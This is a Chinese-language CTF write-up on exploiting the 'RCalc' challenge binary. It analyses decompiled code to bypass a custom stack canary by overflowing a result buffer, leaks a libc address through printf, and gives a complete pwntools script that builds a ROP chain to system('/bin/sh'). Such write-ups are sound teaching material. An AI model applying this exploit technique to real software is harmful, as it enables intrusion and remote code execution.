保护
分析
- IDA分析代码,部分函数名经过我的分析已被重置
- 这部分函数主要就是申请了两个,我称之为calc的结构,并给该结构中的buf成员申请空间。
- 这个函数很明显存在栈溢出,值得注意的是scanf("%s",v1)是以空格作为输入结束的标志,并且作者刻意实现了自定义的canary保护。在一开始随机一个数,存放在answer中,在尾部又从前面申请的calc结构中取出来进行对比
-
仅现在看来,空是溢出覆盖answer还不行,能不能通过别的地方来把ptr2里边的内容也覆盖?再看看别处
__int64 CalcSystem() { __int64 result; // rax char buf; // [rsp+0h] [rbp-30h] __int64 v2; // [rsp+18h] [rbp-18h] __int64 v3; // [rsp+20h] [rbp-10h] __int64 v4; // [rsp+28h] [rbp-8h] v3 = GetRandomNumber(); while ( 1 ) { while ( 1 ) { Menue(); v2 = Safe_GetNumber(); if ( v2 != 1 ) break; v4 = Add(); LABEL_12: printf("The result is %d\n", v4); printf("Save the result? "); read(0, &buf, 0x10uLL); if ( !strncmp("yes", &buf, 3uLL) ) Save(v4); // 存在ptr1中 } switch ( v2 ) { case 2LL: v4 = Sub(); goto LABEL_12; case 3LL: v4 = Mod(); goto LABEL_12; case 4LL: v4 = Multi(); goto LABEL_12; } if ( v2 == 5 ) break; puts("Invaild choice!"); } result = GetResult(); if ( result != v3 ) Error_Exit(); return result; }
-
这是程序最主要的流程,其中 Save() 函数为前面的想法提供了证实。
__int64 __fastcall Save(__int64 a1) { __int64 v1; // rsi __int64 v2; // rdx __int64 result; // rax v1 = ptr1[1].pbuf; v2 = ptr1->pbuf++; result = a1; *(v1 + 8 * v2) = a1; return result; }
-
回顾一下,程序一开始申请结构体的顺序:ptr1->buf 是最先分配的,所以他的空间地址会在ptr2->buf 的上边,而Save() 函数每执行一次,ptr1->buf 就会下移一个8字节大小的距离,如此一来,在某个时刻就能够和ptr2->buf 指向的数据重合,也就是能够将其覆盖。
-
那么Save() 函数具体要执行多少次才能够将ptr2->buf 指向的数据覆盖呢?从初始化calc结构体的函数中可知,不少于32次。那就从32开始往上增,调试一波看看。
-
我选择加法操作,0+0x2019,然后再存,结果发现在0x23的时候就可以覆盖到ptr2->buf了
-
在实际写payload的时候用0代替最好,否则容易出问题。只要过了这个自定义的cannary保护,剩下的就按常规操作构造ROP来getshell就行了。
-
考虑到输入的时候0x20的字符会截断输入,所以以下地址都是不能够用的:
-
幸运的是我们可以通过这两个地址来计算libc的基址:
got:0000000000601FF0 __libc_start_main_ptr dq offset __libc_start_main plt:0000000000400850 ; int printf(const char *format, ...) .plt:0000000000400850 _printf proc near ; CODE XREF: Menue+58↓p .plt:0000000000400850 ; Add+14↓p ... .plt:0000000000400850 jmp cs:off_602038 .plt:0000000000400850 _printf endp
-
可以用printf() 函数泄露 __libc_start_main 地址
完整EXP
from pwn import*
#context.log_level='debug'
p=process('./RCalc')
elf=ELF('./RCalc')
libc=elf.libc
def Add(v1,v2,s):
p.sendlineafter('choice:','1')
p.sendlineafter('integer: ',str(v1))
p.sendline(str(v2))
p.recvuntil('result? ')
if s==1:
p.sendline('yes')
else:
p.sendline('no')
paddings='a'*(0x110-8)+p64(0)+'a'*8
libc_start_got=0x0000000000601FF0
print_plt=elf.plt['printf']
pop_rdi=0x0000000000401123
begin=0x0000000000401036
pay=paddings+p64(pop_rdi)+p64(libc_start_got)+p64(print_plt)+p64(begin)#
p.sendlineafter('pls: ',pay)
for i in range(0x23):
Add(0,0,1)
gdb.attach(p,'b *0x0000000000400F9F')
pause()
p.sendlineafter('choice:','5')
libc_base=u64(p.recv(6).ljust(8,'\0'))-libc.sym['__libc_start_main']
system=libc.sym['system']+libc_base
bin_sh=libc.search('/bin/sh\0').next()+libc_base
success('libc_base:'+hex(libc_base))
success('system:'+hex(system))
success('bin_sh:'+hex(bin_sh))
pay=paddings+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendlineafter('pls: ',pay)
for i in range(0x23):
Add(0,0,1)
p.sendlineafter('choice:','5')
p.interactive()